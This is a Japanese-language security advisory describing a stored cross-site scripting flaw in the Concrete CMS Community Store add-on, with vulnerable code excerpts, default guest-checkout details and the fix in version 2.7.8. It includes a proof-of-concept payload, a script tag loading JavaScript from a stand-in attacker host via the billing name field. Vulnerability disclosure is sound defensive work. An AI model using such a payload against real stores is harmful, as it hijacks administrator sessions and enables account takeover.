| CVE | CVE-2026-93659 |
| コンポーネント | concretecms-community-store/community_store |
| 種類 | 格納型クロスサイトスクリプティング (CWE-79) |
| 深刻度 | CVSS v4.0 9.3 緊急 / v3.1 8.7 高 |
| 影響を受けるバージョン | 2.7.8 より前のすべてのバージョン |
| 修正バージョン | 2.7.8 |
| クレジット | Prince Edem Fiagbedzi (発見者) |
Community Store は Concrete CMS 向けのオープンソース e コマースアドオンであり、顧客が入力した注文フィールドをサニタイズせずに保存し、管理者向けの 4 つのビューで HTML エスケープせずにレンダリングしていた。認証されていない訪問者であれば誰でも、請求先の名などのフィールドにスクリプトペイロードを含む注文を送信でき、そのペイロードは次回ストア管理者がその注文を開いたときに、認証済みのダッシュボードセッション内で実行される。これだけで不正な管理者アカウントを作成したり、セッションデータを窃取したりするのに十分である。
すべての注文には顧客が入力したフィールドが含まれる。請求先/配送先の名、姓、メールアドレス、電話番号である。これらのフィールドはそのまま保存され、ストア管理者が日常的に確認する 4 か所でそのままレンダリングされる:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)重要なのは、注文の送信にアカウントが不要である点だ。Community Store のゲストチェックアウト設定はデフォルトで always に設定されており、これはパッケージ自身のインストーラーが新規インストールのたびに設定するもので、ストア運営者が明示的に有効化するものではない。したがってこれは、ストアが誤設定されていることを必要とするバグではなく、デフォルトの、箱から出したままのインストールに対して悪用可能であり、認証情報も不要である。
Community Store を 2.7.8 以降に更新すること。この修正は影響を受ける 4 つのレンダリング箇所すべてに適切な出力エスケープを追加する。脆弱な挙動はエスケープそのものであり、トグルではないため、アップグレード以外に設定による回避策はない。
4 つのレンダリング箇所はいずれも、顧客が制御するフィールドをエスケープしていなかった。管理画面の注文ビューからの代表的な行を示す:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Concrete の標準的な出力エスケープヘルパーである h() の呼び出しがどこにもなく、同じファイル内の数行先では他の値に対して h() が正しく使われているにもかかわらずである。入力検証も同様に不十分だった。これらのフィールドに適用されていた唯一のチェックは長さ制限 (1〜255 文字) であり、HTML を除去または拒否するものは何もなかった。
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
請求先の名フィールドに 255 文字未満の <script> ペイロードを入れると、検証をそのまま通過し、保存され、後で管理者がその注文を確認するあらゆる場所でエスケープされずにレンダリングされる。
ゲストチェックアウトのデフォルトはインストーラー内で直接設定されている:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
チェックアウトコントローラーは、その設定が off の場合 (またはゲストフラグなしの option の場合) にのみログインを強制し、インストール時のデフォルトではその分岐が決して発動しない。
Concrete CMS 9.5.2 上の Community Store v2.7.7 に対してテスト済み (セルフホストの Docker ラボ、PHP 8.3)。ペイロードは通常のゲストチェックアウトとして送信され、いかなる種類の認証も行っていない:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6
として修正がリリースされ、影響を受ける 4 つのレンダリング箇所すべてに h() エスケープが追加された